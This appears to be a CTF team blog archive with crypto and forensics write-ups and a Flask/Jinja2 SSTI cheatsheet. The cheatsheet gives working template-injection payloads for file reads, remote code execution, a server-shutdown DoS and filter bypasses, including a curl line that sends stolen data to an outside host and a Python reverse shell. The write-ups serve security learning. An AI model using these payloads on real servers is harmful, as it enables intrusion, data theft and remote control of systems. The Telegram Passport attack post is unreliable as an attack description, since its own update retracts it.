P=NP CTF Team

RITSEC CTF 2018 - CictroHash

Wed, 21 Nov 2018 00:00:00 +0000

Crypto - 150 Points

See the attached PDF for an amazing new Cryptographic Hash Function called CictroHash.
For this challenge you must implement the described Hash Function and then find a collision of two strings.
Once a collision is found send both strings to fun.ritsec.club:8003 as a HTTP POST request like below:

curl -X POST http://fun.ritsec.club:8003/checkCollision \
--header "Content-Type: application/json" \
--data '{"str1": "", "str2": ""}'

If the strings are a valid collision then the flag will be returned.

NOTE: requests to this server are being rate-limited for obvious reasons.

Author: Cictrone

Writeup

This crypto challenge was really original and very interesting.

We started writing the implementation for the CictroHash sponge function, after some ranting for the incomplete specification and the incorrect text vector.
Then we based our output on the hashes returned by the server.

Once our implementation was exact, we noticed that the permutation function only acted on some bits and didn’t provide enough diffusion so the avalanche effect was minimum in some cases.

For example you can see how “HELLOWORLD” and “HELLOWORLD0” only differs by 2 bit in the 3rd byte

>>> CictroHash.hash("HELLOWORLD")
"91f1c05e"
>>> CictroHash.hash("HELLOWORLD0")
"91f1005e"
>>>
>>> '{:08b}'.format(0x00)
'00000000'
>>> '{:08b}'.format(0xc0)
'11000000'

So we tried to bitflip one bit at a time the pre-image searching for a collision and finally we found one:

91f1405e - HENLOWORLD - HELLOWGRLD

Here it is our implementation CictroHash.py

Cheatsheet - Flask & Jinja2 SSTI

Mon, 03 Sep 2018 00:00:00 +0000

Flask & Jinja2 SSTI

Introduction

While SSTI in Flask are nothing new, we recently stumbled upon several articles covering the subject in more or less detail because of a challenge in the recent TokyoWesterns CTF. This cheatsheet will introduce the basics of SSTI, along with some evasion techniques we gathered along the way from talks, blog posts, hackerone reports and direct experience.

RTFM

As everything in this field, explore the docs of Jinja, Flask & Python and learn them by heart. Assuming this, I’m not going to explore in detail how does Flask/Jinja work, neither python internals.

Reconnaissance

You can try to probe {{7*'7'}} to see if the target is vulnerable. It would result in 49 in Twig, 7777777 in Jinja2, and neither if no template language is in use. This step is sometimes as trivial as submitting invalid syntax, as template engines may identify themselves in the resulting error messages. Note that there are other methods to identify more template engines. Tplmap or its Burp Suite Plugin will do the trick. This guide will specifically focus on Jinja2.

Basics

In python __mro__ or mro() allows us to go back up the tree of inherited objects in the current Python environment, and __subclasses__ lets us come back down. Read the docs for more. Basically, you can crawl up the inheritance tree of the known objects using mro, thus accessing every class loaded in the current python environment (!).

The usual exploitation starts with the following: from a simple empty string "" you will create a new-type object, type str. From there you can crawl up to the root object class using __mro__, then crawl back down to every new-style object in the Python environment using __subclasses__.

Sinks

If you happen to have the source code of the application, look for the flask.render_template_string(source, **context) function. It is a common sink for SSTI in Jinja (docs).

Context and Global Variables

There are several sources from which objects end up in the template context. Remember that there may be sensitive vars explicitly added by the developer, making the SSTI easier. You can use this list by @albinowax to fuzz common variable names with Burp or Zap. The following global variables are available within Jinja2 templates by default:

config, the current configuration object
request, the current request object
session, the current session object
g, the request-bound object for global variables. This is usually used by the developer to store resources during a request.

If you want to explore in major details their globals, here are the links to the API docs: Flask and Jinja.

Introspection

You may conduct introspection with the locals object using dir and help to see everything that is available to the template context. You can also use introspection to reach every other application variable. This script written by the DoubleSigma team will traverse over child attributes of request recursively. For example, if you need to reach the blacklisted config var you may access it anyway via:

{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}

DoS

The request.environ object is a dictionary of objects related to the server environment. One such item in the dictionary is a method named shutdown_server assigned to the key werkzeug.server.shutdown. Injecting '' should be enough to shut down the server.

Extract classes from the application

Get all classes:

{{ [].class.base.subclasses() }}

{{''.class.mro()[1].subclasses()}}

Arbitrary file read

In our context we can’t use ''.__class__ as it is outside of the sandbox. So we need an object which has a class inherited from object. We can then leverage the <type 'file'> class to read arbitrary file. While open is the built-in function for creating file objects, the file class is also capable of instantiating file objects, and if we can instantiate a file object then we can use methods like read to extract the contents. This injection will do the trick:

{{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40](\"/tmp/flag\").read() }}

Mind that index numbers may vary (i.e. [4],[40]) according to the environment.

Remote code execution

First method

By using the subprocess class you may issue arbitrary commands. This may be version-dependent:

{{config.items()[4][1].__class__.__mro__[2].__subclasses__()[229]([\"touch /tmp/test\"], shell=True) }}

Second Method

Luckily, the config object comes with a function from_pyfile() which reads, compiles and then executes a python file. We now write arbitrary payloads by passing request.headers['X-Payload'] to the write function and sending the X-Payload header:

GET /{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/pwn.py','w').write(request.headers['X-Payload'])}}-{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/pwn.py').read()}}-{{config.from_pyfile('/tmp/pwn.py')}} HTTP/1.1
Host: chal.ctf.net
[...]
X-Payload: import os;a=os.system("curl http://chal:8080/flag > /tmp/pwn.log");os.system("curl http://pequalsnp-team.github.io:8081/{}".format(open("/tmp/pwn.log").read().encode("hex")))

You could alternatively use the reverse shell payload from the pentest monkey’s cheat sheet:

X-Payload: import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8099));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Filters bypass

Generally, if there is a blacklist you can use request.args.param to retrieve the value of a new param passed with the querystring. Likewise, you may trim parts of the URL using request.url[n:] (e.g. &a=config ). I’ll report some examples below:

Bypass the filtering on `__`:

http://localhost:5000/?exploit={{request[request.args.param]}}&param=__class__

Bypass the filtering on `.` or `[]`:

Using Jinja2 filters like |attr():

http://localhost:5000/?exploit={{request|attr(request.args.param)}}&param=__class__

Remember that you can always use the __getitem__ to achieve the same, getting an item by key or index.

Generic blacklist evasion

Using the |join filter will concatenate a list of strings. Also, multiplication of a string with a number ‘n’ duplicates it ‘n’ times. You may use both tricks to get bypass.
You can also use the .getlist() function to simplify the building of the injection. The function returns a list of all parameters with a given name. In our case we define the name using the l parameter and the content of the list with several a parameters.

http://localhost:5000/?exploit={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

There is another method to concatenate strings and with the |format filter. With the same query-string parameters &a=_ we can form a format string that will result in __class__: %s%sclass%s%s. The %s identifiers will be replaced with the passed string:

http://localhost:5000/?exploit={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_

You may also use request.cookies, request.headers, request.environ, request.values to store blacklisted injection values.
For string concatenation, have a look-see at the ~ operator. Hello would return (assuming name is set to 'John'): Hello John!.

Tools

Tplmap is a tool by @epinna, which assists the exploitation of Code Injection and Server-Side Template Injection vulnerabilities with a number of sandbox escape techniques to get access to the underlying operating system. It can exploit several code context and blind injection scenarios. It also supports eval()-like code injections in Python, Ruby, PHP, Java and generic unsandboxed template engines. Github
search.py is a script written by DoubleSigma. It traverse over child attributes of request recursively. Link.

Useful links

Shrine challenge, TokyoWesterns CTF 2018 Link
Exploring SSTI in Flask/Jinja2 Part 1 / Part 2
Server-Side Template Injection: RCE for the modern webapp, J. Kettle PDF Link
Jinja2 template injection filter bypasses, S. Neef Link

Padding Oracle attack against Telegram Passport

Sat, 04 Aug 2018 00:00:00 +0000

Since the Telegram Passport came out, I tried to analyze its protocol to understand whether the encryption of users’ data was strong and properly implemented.

UPDATE: It seems that the Telegram Passport specification is written “superficially” and I assumed the data was right-padded.
It’s left-padded instead, so the content of this post is based on a wrong interpretation of them.
This attack doesn’t apply to Telegram Passport.

The specification describes a centralized encrypted storage where “users can upload their documents once, then instantly share their data with services that require real-world ID (finance, ICOs, etc.)”. If you want to read the full specification you can check Telegram’s documentation.

This blog post will focus on the custom padding, designed by Telegram, used together with AES-CBC, and how it can be abused. This flow is used when the Telegram client shares the user document with the third-party service.

Note: This post will not describe a direct vulnerability against Telegram services.

Telegram Passport workflow

The specification involves 3 entities:

the end users
the Telegram Passport server, where the users’ documents are stored
the third-party service (e.g. a Telegram bot), that will receive the documents

As mentioned, I focused my attention on item number 3, and on the decryption mechanism that third-party services need to implement in order to be able to retrieve users’ data from Telegram. The part of specification that defines this interaction is below:

Decrypting data

To decrypt the received data, first, decrypt the credentials contained in EncryptedCredentials.

Decrypt the credentials secret ( secret field in EncryptedCredentials) using your private key (set OAEP padding option, e.g. OPENSSL_PKCS1_OAEP_PADDING in PHP)

Use this secret and the credentials hash ( hash field in EncryptedCredentials) to calculate credentials_key and credentials_iv as described below:

 credentials_secret_hash = SHA512( credentials_secret + credentials_hash )
 credentials_key = slice( credentials_secret_hash, 0, 32 )
 credentials_iv = slice( credentials_secret_hash, 32, 16 )

Decrypt the credentials data ( data field in EncryptedCredentials) by AES256-CBC using these credentials_key and credentials_iv. IMPORTANT: At this step, make sure that the credentials hash is equal to SHA256( credentials_data )
Credentials data is padded with 32 to 255 random padding bytes to make its length divisible by 16 bytes. The first byte contains the length of this padding (including this byte). Remove the padding to get the data.

The user document, called “credentials data” in the spec, is encrypted with AES256-CBC. This mode of operation is malleable in a way that, during decryption, a one-bit change to the ciphertext causes complete corruption of the corresponding block of plaintext, but it inverts the corresponding bit in the following block of plaintext while the rest of the blocks remain intact.

This property makes CBC-mode implementation vulnerable to padding oracle attacks. More specifically, knowing whether or not a given ciphertext produces plaintext with valid padding is ALL that an attacker needs to break a CBC encryption. If you can feed in ciphertexts and somehow find out whether or not they decrypt to something with valid padding or not, then you can decrypt ANY given ciphertext.

If you want to learn more about padding oracle attacks, read this awesome article

Personally I was really interested and surprised by Telegram’s choice for the padding. It’s not a standard padding like PKCS#5 or PKCS#7 but instead it was a custom padding: the original data is padded with an arbitrary number of random bytes, between 32 and 255, to make the payload’s size a multiple of 16 (the AES block size); the first byte of the padding contains the number of bytes that have been used for padding, including itself.

The Scenario

The specification is not really clear but from the clients’ source code we can see what is going on. A Python representation of how the padding works is below:

def pad(s):
    len_s = len(s)
    bytes_to_add = 32 + random.randrange(0, 255 - 32 - BLOCK_SIZE)
    bytes_to_add += BLOCK_SIZE - (bytes_to_add + len_s) % BLOCK_SIZE
    return s + chr(bytes_to_add) + os.urandom(bytes_to_add - 1)

We don’t care much about how many padding bytes there are. The thing that is precious is the “magic byte” that contains the lenght of the padding.

The EncryptedCredential is an encrypted JSON object that contains 3 field: data, hash and secret.

data contains a base64-encoded encrypted JSON-serialized data
hash contains a base64-encoded data hash for data authentication
secret contains a base64-encoded secret, encrypted with the bot’s public RSA key

Ex.

{
    "data": "[base64]"
    "hash": "[base64]"
    "secret": "[base64]"
}

Before going further, please note that Telegram mandates developers to check that the SHA-256 hash of the decrypted padded data matches the hash provided in the JSON payload, effectively making the padding oracle attack infeasible. However, if third-party developers don’t do this check, this attack is still valid.

Note that a JSON object always starts with a { character and ends with a }.

In our scenario the third-party service (e.g. a Telegram bot) that will receive this encrypted JSON object will perform the following steps:

Decrypt the secret payload with the bot private key
Calculate key and iv like the specification above
Decrypt the data payload
Unpad the data plaintext:
1. Search for the first } character in the plaintext
2. Read the next byte as “padding byte”
3. Check if the padding length match the value of the “padding byte”
4. Report a padding error if there isn’t a } character or if the padding length don’t match
Read the JSON data. Report an encoding error if the JSON is not valid, report success otherwise

Performing the attack

A standard padding oracle attack against PKCS#5 starts by bruteforcing the right-most byte of the cyphertext until the padding is correct, which means that the decrypted plaintext ends with 0x01.

In our case we can’t perform the attack this way. The last N byte are random bytes so bruteforcing them won’t give any useful result. Also, since we are going backwards, sooner or later we will modify the block of cyphertext that contains the “padding byte” and we will corrupt all the block since CBC malleability acts on the next block.

The approach I used instead was bitflipping (XORing with 255) byte-by-byte the ciphertext from left to right.

Starting from the cyphertext left-most byte, bitflip it so the first plaintext block will be corrupted but the first byte in the second plaintext block will be bitflipped as well. This way we will corrupt the actual JSON data in the current block but when we hit the } character in the next one the service will report a padding error.

This approach is prone to false-positives. For example, think of a case where the corrupted data returns a new } character that accidentally is followed by the exact padding length; when the service reports a padding error, we will perform another test on the same byte XORing it with 127 instead. If the service returns a padding error again we can be pretty confident that we hit the “padding byte”.

With this mechanism we can learn information about the padding length and the payload length, and we know where to start for the actual padding oracle attack.

Let’s suppose that the plaintext is formed as follows:

the } character is in the 20th position
the padding-length byte is in the 21th position

To learn the plaintext value in the 19th position we need to get its intermediate value and XOR it with the cyphertext value at that position.

To get the intermediate value you must find the value v in C1 that XORed with I2 gives a } in the 19th position and the right “padding byte” in the 20th one.

v ⊕ '}' = I2[19]
C1[19] ⊕ I2[19] = P2[19]

We can bruteforce the 19th and 20th bytes in the plaintext by bruteforcing the 3rd and 4th bytes in the cyphertext (19 - 16 = 3), supplying to the padding oracle 2 blocks:

the first block contains null bytes (\x00) except for bytes 3 and 4, which are the ones we want to bruteforce
the second block contains the encrypted bytes we want to decrypt

Once we learn the value for the 19th position we can repeat the same process on the 18th-19th bytes and so on obtaining all the plaintext*.

As we noticed above, this approach is also prone to false-positives, so once we find a valid value v we perform a verification step by replacing the null bytes in the first block with \xff.

* Unfortunately in our scenario we can’t decrypt all the plaintext since the first block is XORed with the IV that is out of our knowledge. However, considering that the first block starts with {"data":" + base64_of_image_header, we can likely bruteforce it.

“Show me the code!”

While I was researching this I wrote a simple server implementing our defined scenario, and a client performing the padding oracle attack demonstrating our discovery.

The code is just a PoC, it’s pretty bad and nowhere near a stable version but you can download it here.

Run the server with python2 tpassport.py and then the client with python3 passport_oracle.py. You may need to resolve some dependency to run the scripts.

Conclusion

It doesn’t matter what type of padding you use along with CBC-mode, there always is an approach that can be used in a padding oracle scenario to decrypt the cyphertext.

If you plan to use CBC, always perform integrity checks before the decryption in a encrypt-then-MAC fashion and, if possible, use an HMAC to authenticate the data. If possible don’t use CBC at all and prefer an AE/AEAD mode like GCM.

Last but not least important: Don’t roll your own crypto™

I would like to thank:

gedigi for the help with the initial research on Telegram Passport.
last and viking for the article’s review
Salvatore Aranzulla.

TAMU CTF 2018 - LarryCrypt

Tue, 27 Feb 2018 00:00:00 +0000

Reverse - 200 Points

A binary executable called larrycrypt was provided.

./larrycrypt -R 4 -K "V3c70R" flag

Writeup

We tried some input for the larrycrypt binary and we noticed that it was always using Mu as key, no matter what was the -K parameter.
It was likely some bug, but then the SimpleDES challenge we just solved came to our minds.

The binary was using the same key as the other challenge’s example.
So we thought it was using the same algorithm, but it wasn’t the case.

Larrycrypt was using 6bit blocks for the ciphertext.
The first block of ciphertext was the same as SimpleDES’s first 6bit of cyphertext when using the same key and the same number of rounds. With some more reverse engineering we figured out that larrycrypt was taking the first 12 bits of plaintext, splitting them into L0 and R0, performing the round function and printing only the resulting L1.
So they were using the same round function.

But then the sequence changes, we take the R output from the round function and use it as L for the next round along with the next block of ciphertext.

This image shows an example on 3 blocks of data, the output cypertext is made of cypher0, cypher1. L2 won’t be printed.

To decrypt this we need to bruteforce all the possible 6bit last blocks (L2 in the image), decrypt all the blocks and check if the plaintext is good.

We used our previous implementation of the SimpleDES round function and bruteforce the plaintext with python

TAMU CTF 2018 - SimpleDES

Mon, 26 Feb 2018 00:00:00 +0000

Crypto - 125 Points

Larry is working on an encryption algorithm based on DES. He hasn’t worked out all the kinks yet, but he thinks it works. Your job is to confirm that you can decrypt a message, given the algorithm and parameters used.

The organizer gave us a specification about this simpleDES cipher:

    His system works as follows:
    - Choose a plaintext that is divisible into 12bit 'blocks'
    - Choose a key at least 8bits in length
    - For each block from i=0 while i<N perform the following operations
    - Repeat the following operations on block i, from r=0 while r<R
    - Divide the block into 2 6bit sections Lr,Rr
    - Using Rr, "expand" the value from 6bits to 8bits.
    Do this by remapping the values using their index, e.g.
    1 2 3 4 5 6 -> 1 2 4 3 4 3 5 6
    - XOR the result of this with 8bits of the Key beginning with Key[iR+r] and wrapping back to the beginning if necessary.
    - Divide the result into 2 4bit sections S1, S2
    - Calculate the 2 3bit values using the two "S boxes" below, using S1 and S2 as input respectively.

    S1  0   1   2   3   4   5   6   7
    0 101 010 001 110 011 100 111 000
    1 001 100 110 010 000 111 101 011

    S2  0   1   2   3   4   5   6   7
    0 100 000 110 101 111 001 011 010
    1 101 011 000 111 110 010 001 100

    - Concatenate the results of the S-boxes into 1 6bit value
    - XOR the result with Lr
    - Use Rr as Lr and your altered Rr (result of previous step) as Rr for any further computation on block i
    - increment r

The problem is the following:

He has encryped a message using Key="Mu", and R=2.
See if you can decipher it into plaintext.

Submit your result to Larry in the format Gigem{plaintext}.

Binary of ciphertext: 01100101 00100010 10001100 01011000 00010001 10000101

Writeup

While we started reading the implementation for this cipher we noticed that it was based on a Feistel network

A Feistel network is a scheme that lets you construct a block cipher efficently since it requires only a round function (that doesn’t need to be invertible) and it only involves XOR operations.

The decryption is pretty straightforward. Referring to the simpleDES implementation above:
On step 3, for every block before starting the rounds iteration, swap L with R. Then at the end of the R rounds, swap L and R again.

You also need to reverse the key schedule for round iteration.
Let’s assume you have 1 block and 3 rounds.

For the encryption you use the keys K0, K1 and K2. For the decryption you will need to use K2, K1 and K0.

Why?
Immagine you start from 1 block of plaintext. You split it into 2 blocks L0 and R0.
Now you use K0 and R0 on the round function F.
This function will spit out “garbage” Z that you XOR with L0. You can now use the result as R1 and use R0 as L1.

For the decryption you only need to XOR the “garbage” Z again with R1

R1 = L0 ⊕ Z
R1 ⊕ Z = L0 ⊕ Z ⊕ Z = L0

So we implemented it and got the flag

InsomniHack Teaser CTF 2018 - Rule86

Tue, 23 Jan 2018 00:00:00 +0000

Crypto

Kevin is working on a new synchronous stream cipher, but he has been re-using his key.

In this challenge, you are provided with 4 files:

hint.gif.enc          - An encrypted GIF
super_cipher.py.enc   - An encrypted python script
rule86.txt            - A cleartext file 
rule86.txt.enc        - The encrypted version of said file

Get the encryption’s keystream
Decrypt the GIF and the python script
Where is the flag???

Writeup

This challenge was very original and well thought.

We didn’t solve it in time, but here it is our writeup.

Step 1

We started by getting the keystream from the rule86.txt file and its encrypted counterpart.

p1 = open('rule86.txt', 'rb').read()
c1 = open('rule86.txt.enc', 'rb').read()

keystream = []
for a, b in zip(p1, c1):
    keystream.append(a ^ b)

And then, decrypting the other encrypted files

c2 = open('super_cipher.py.enc', 'rb').read()
p2 = []

for a, b in zip(keystream, c2):
    p2.append(a ^ b)

print(bytes(p2))

Since the rule86.txt.enc file is smaller then super_cipher.py.enc and hint.gif.enc we don’t have enough keystream to decrypt the latters.

Step 2

We noticed that the decrypted script was generating a 32-byte integer with a PRNG from the key (aka the flag) and using that as keystream.

RULE = [86 >> i & 1 for i in range(8)]
N_BYTES = 32
N = 8 * N_BYTES

def next(x):
  x = (x & 1) << N+1 | x << 1 | x >> N-1
  y = 0
  for i in range(N):
    y |= RULE[(x >> i) & 7] << i
  return y

# Bootstrap the PNRG
keystream = int.from_bytes(args.key.encode(),'little')
for i in range(N//2):
  keystream = next(keystream)

The simple way to solve this and decrypt the gif and the script was to retrive the starting 32-byte integer from the known keystream and then using the PRNG function to reproduce the keystream by generating all the integer we wanted.

We didn’t think about that because we noticed that the now-known piece of the gif had a pattern. (and I also love forensics :(

So I’ve made a little script that recreate part of the gif following this pattern.

All went smooth and without problem so I kept thinking it was the good approach, beside that the gif was corrupted, but the keystream was right and we decrypted all the script.

Note: This was the correct gif, the hint was pretty useless for us

Here the scrypt for recovering the super_cipher.py file

Step 3

Now we know that the flag is the seed of the PRNG used as encryption keystream.
We only need to reverse it and get the previous number for each step. Easy.

Let’s start from this line.
x = (x & 1) << N+1 | x << 1 | x >> N-1

(x & 1) get the lsb from x (our starting number)
(x & 1) << N+1 will shift it 257 positions left (N = 256)

if x lsb is 0, (x & 1) << N+1 will be 0
if x lsb is 1. (x & 1) << N+1 will be 1 << 257

x << 1 shift x by 1 position to the left

x >> N-1 will take the 2 msb, shift them by 255 positions right and OR them as lsb

Turns out this is very easy to reverse and also the output number has its 2 msb equals to its 2 lsb.

The reverse operation is the following: x = (x >> 1) & ((1 << N)-1)

x >> 1 shift x by 1 position right, eliminating the 2 lsb added above.

The AND operation filters the first operand’s bits where the second operand has bits set to 1. (I hope you know how AND works)
(1 << N) is 0b1000000 with N zeros. Minus one will result in 0b111111 with N ones.

We are effectively filtering only the N bits we wanted, eliminating the 2 msb added above.

Then the PRNG takes 3 bits at a time from the right and substitute them by the RULE array.

for i in range(N):
    y |= RULE[(x >> i) & 7] << i

For example if we have 0b1100, the for works like this:

y[0] = RULE[0b100] # 0bXXX100
y[1] = RULE[0b110] # 0bXX110X 
y[2] = RULE[0b11]  # 0bX011XX
y[3] = RULE[0b1]   # 0b001XXX
y = y[::-1]        # reverse y 

Output y will be 0b1011

Reversing this is pretty easy too, just scan y and get the possible preimage values of RULE mapping function that result in either 1 or 0.
If the current y bit is 1, check what value in RULE output 1 and check if that value is consistent with the previous ones (since chosen bits form x are overlapping)

Are you starting having an headache? Me too.

Bonus script that recover the integer keystream
Final script that reverse the PRNG and get the seed/flag

Flag is: INS{Rule86_is_W0lfr4m_Cha0s}

CodeBlue CTF 2017 - Common Modulus 1,2,3

Mon, 13 Nov 2017 00:00:00 +0000

Crypto - 100 Points

Common Modulus 1: Simple Common Modulus Attack
Common Modulus 2: Common Modulus Attack with common exponent divisor
Common Modulus 3: Common Modulus Attack with common exponent divisor + message padding

Writeup

The challenge title was pretty self explanatory.

textbook RSA is vulnerable to Common Modulus Attack.

RSA works like the following $c = m^e \mod N$

If you encrypt the same message with the same $N$ like:
$C_1 = M^{e_1} \mod N$
$C_2 = M^{e_2} \mod N$

Then $\gcd(e_1, e_2)=d$, this means that $a$ and $b$ exists such that $e_1a + e_2b=d$.

This is usefull since: $\begin{align} C_1^{a}*C_2^{b}&=(M^{e_1})^{a}*(M^{e_2})^{b}\\ &=M^{e_1a}*M^{e_2b}\\ &=M^{e_1a+e_2b}\\ &=M^d \end{align}$

In the case where $e_1$ and $e_2$ don’t share any factor, $\gcd(e_1, e_2)=1$ so $M^d = M^1 = M$.
In the case where $e_1$ and $e_2$ share some factors, we end up with $M^d$.

Common Modulus 1 was the first easy case.

In Common Modulus 2 both the exponents were multiplied by $3$, so $d=3$ then $M^d=M^3$
Luckily our $M^3$ is smaller than our $N$ so we can retrive the flag by applying the cube-root.

In Common Modulus 3, the greatest common divisor is $17$ and unfortunately $M^{17}>N$.
We need to remove the padding from $M$ until $M^{17}<N$ then take the 17th-root as before.

The message/flag is padded with the following code:

flag = key.FLAG.encode('hex')

while len(flag) * 4 < 8192:
  flag += '00'

FLAG = long(flag[:-2], 16)

len(FLAG) should be 2046, the previous flags were CBCTF{<32_char_here>} so converted in hex we have len(flag) = 78.

$2046-78=1968$

Adding 00 to an hex number it’s the same as multiplying by $2^4$,
so we need to multiply the padded $M$ by $2^{-4}$ to remove all the 00

Let $d=17$ and $i=1968$, retrive $M$ with

$\begin{align} M''&=C_1^{a}*C_2^{b}\\ M'&=M''*2^{-d*4*i}\\ M&=\sqrt[d]{M'}\qquad \end{align}$

The complete python script is available here

CBCTF{6ac2afd2fc108894db8ab21d1e30d3f3}
CBCTF{d65718235c137a94264f16d3a51fefa1}
CBCTF{b5c96e00cb90d11ec6eccdc58ef0272d}

Square CTF 2017 - Reading between the lines

Fri, 13 Oct 2017 00:00:00 +0000

Forensics - 100 Points

Find the secret in the archive

Evil Robot Corp accidently made their S3 bucket public and we were able to grab this backup archive before we were kicked out. We think there might be a secret in here, but we can’t find it. Can you help us?

Writeup

I really enjoyed this Forensics challenge.

You start with a zip archive.
If you open it you can extract 3 jpg files with photos of cats.

Time to study the PKZIP format!

(This is a nice start)

A ZIP file is made of several entries, compressed and concatenated together.
Each entry is preceded by a local header and can be followed by a data descriptor.

At the end of the ZIP file we have the central directory that contains the references to each entry in the file.

By opening our zip file with an Hex editor we noticed that there were 4 PK\x04\x05 signatures.
Those bytes are the local header signature, so we actually have 4 entries in the zip file.

Then we looked at the central directory entries (signature PK\x01\x02) but only 3 are listed here.

MUAHAHAHAHAH.

Ok easy, we only need to add the missing entry to the central directory.

This is the central entry header

We need to fill all these fields for the missing entry.
We can get them from the local entry header

But…

Compressed and uncompressed sizes are zero-ed in the local file header 😢

Don’t you worry, don’t you worry child…

In this zip archive the data descriptor flag is set for every entry so the compressed and uncompressed sizes are at the end of each entry.

We fixed the zip file and retrieved the flag.

BONUS

Since I love automation and working with hex editors is the farther thing from it,
I’ve decided to create a script to extract zip entries that are not present in the central directory.

The script was first written by ejrh, I’ve added data descriptor support to make it work for this challenge :)

You can read here how the script works

DefCamp CTF 2017 - ForgotMyKey

Sun, 08 Oct 2017 00:00:00 +0000

Crypto - 100 Points

Challenge source code

Writeup

This challenge was pretty easy (a simple chained modular addition), but I want to share the script I wrote that automagically solve this type of challenge.
Note: Modular addition behaves the same way as XOR operation, you know. ;)

The my_encrypt function takes as input the flag and the key, hash the key with md5 and then append the hash to the flag. Finally the text is encrypted with the key hash.
Note: the ciphertext is encoded in little-endian hex.

What is a chained modular addition?
IDK either.

Anyway, it’s a stream cipher that for each character adds together the current plaintext char, the previous ciphertext char and the current key char. All the additions are in modular arithmetic.

We took advantage of the DCTF{} flag format as plaintext, the md5 and the flag (DCTF{sha256(text)}) length.
With this knowledge we successfully retrived the key part by part with successive decryption.

You can see the solver script here

Those known parameters are easily tweakable in the solver script.

klength is the key length.
llength is the plaintext length excluding the key appended. (in this case was DCTF{sha256}|)
s is the ciphertext (big-endian hex encoded)
kn is the known part of the plaintext (in this case was DCTF{)
modu is the module of the addition (given in the source code)
decrypt function is totally separated from the solver logic, you can do whatever you want here

How the solver works?
I(really)DK.

In the first step, it takes the known part of the plaintext and retrieves the related part of the key.
In our case it was the starting piece of the flag format.
Note: If you know another piece of plaintext, and not the starting part, you can tweak the solver script and pass to the decKey function the index from the start :D

Then the magic happens.
The script constructs a fake plaintext made of _s, decrypts the ciphertext with the retrieved part of the key, and then takes from the end of the plaintext a different part of the key (since the key was appended!).
Step after step the ciphertext is decrypted and the plaintext is revealed part by part resulting in a magical auto-complete effect.

Abracadabra.
DCTF{0d940de38493d96dc6255cbb2c2ac7a2db1a7792c74859e95215caa6b57c69b2}

SECT CTF 2017 - Bad AES

Fri, 15 Sep 2017 00:00:00 +0000

Crypto - 100 Points

Acid Burn found this AES-CBC encrypted text in the garbage file that Joey stole from the Gibson.
Sadly, Joey didn’t get the full S-BOX used by The Plague. Can you help them recover the text?

Writeup

This challenge wants us to dive into AES internals.

AES stands for Advanced Encryption Standard and it’s a subset of the Rijndael cipher.
Rijndael is a Simmetric-key Block-cipher algorithm.
AES standard uses 128, 192 and 256 bits keys, each with 10, 12 and 14 rounds.

The Ciphertext, IV and Key are given. The Key is 128 bits.

But…
The given ciphertext is encrypted using a custom SBox.

What is an SBox (Substitution Box) ?

AES works in rounds.
10 rounds if the key is 128 bit, as in this case.

For every round 4 operations are performed (note: except for the Initial and the Final round):

SubBytes
ShiftRows
MixColumns
AddRoundKey

Here we are interested in the SubBytes function that performs a non-linear substitution where each byte is replaced with another according to a lookup table (our SBox).

More on AES internals and Rijndael_S-box on Wikipedia :)

So, from the sbox.txt file we can see that the last 16 bytes are missing.

We need to bruteforce them but we have 16 bytes with 16 possible values (from 0x0 to 0xf).
16^16 = 1,844674407×10^19. Hold your processor.

In reality, SBox-es are matrices where each cell can only have 1 unique value, from 0x00 to 0xff.
So we don’t have to bruteforce the entire space.

For example, this is the standard Rijndael SBox:

We can simply calculate what are the missing values and permutate their positions at the end of the SBox.

Another thing. We are given the SBox, but in decryption Rijndael uses the inverse-SBox.
We can calculate the inverse by looking up the table.

For example, looking at the standard Rijndael SBox above:

S[0x0][0x0] = 0x52
Sinv[0x5][0x2] = 0x00

The permutation of 8 values in 8 positions are 8! = 40320. Very bruteforceable :D

The steps to decrypt the ciphertext are:

Find the missing values in the SBox
Permute those values at the end of the SBox
For each permutation:
- Invert the SBox
- Try to decrypt the ciphertext with key and IV
Party Hard!

The password to access the swiss bank account is SECT{1_L0V3_FUN!_BUT_M0N3Y_15_B3773R!}. I shouldn't forget it.

Here the full script I wrote to solve the flag.
It was a nightmare finding a Pure-Python AES library and use custom SBox-es, I’ve forked and modified pyAES to do this.

P=NP CTF Team

RITSEC CTF 2018 - CictroHash

Writeup

Cheatsheet - Flask & Jinja2 SSTI

Flask & Jinja2 SSTI

Introduction

RTFM

Reconnaissance

Basics

Sinks

Context and Global Variables

Introspection

DoS

Extract classes from the application

Arbitrary file read

Remote code execution

First method

Second Method

Filters bypass

Bypass the filtering on __:

Bypass the filtering on . or []:

Generic blacklist evasion

Tools

Useful links

Padding Oracle attack against Telegram Passport

Telegram Passport workflow

Decrypting data

The Scenario

Performing the attack

“Show me the code!”

Conclusion

TAMU CTF 2018 - LarryCrypt

Writeup

TAMU CTF 2018 - SimpleDES

Writeup

InsomniHack Teaser CTF 2018 - Rule86

Writeup

Step 1

Step 2

Step 3

CodeBlue CTF 2017 - Common Modulus 1,2,3

Writeup

Square CTF 2017 - Reading between the lines

Writeup

DefCamp CTF 2017 - ForgotMyKey

Writeup

SECT CTF 2017 - Bad AES

Writeup

Bypass the filtering on `__`:

Bypass the filtering on `.` or `[]`: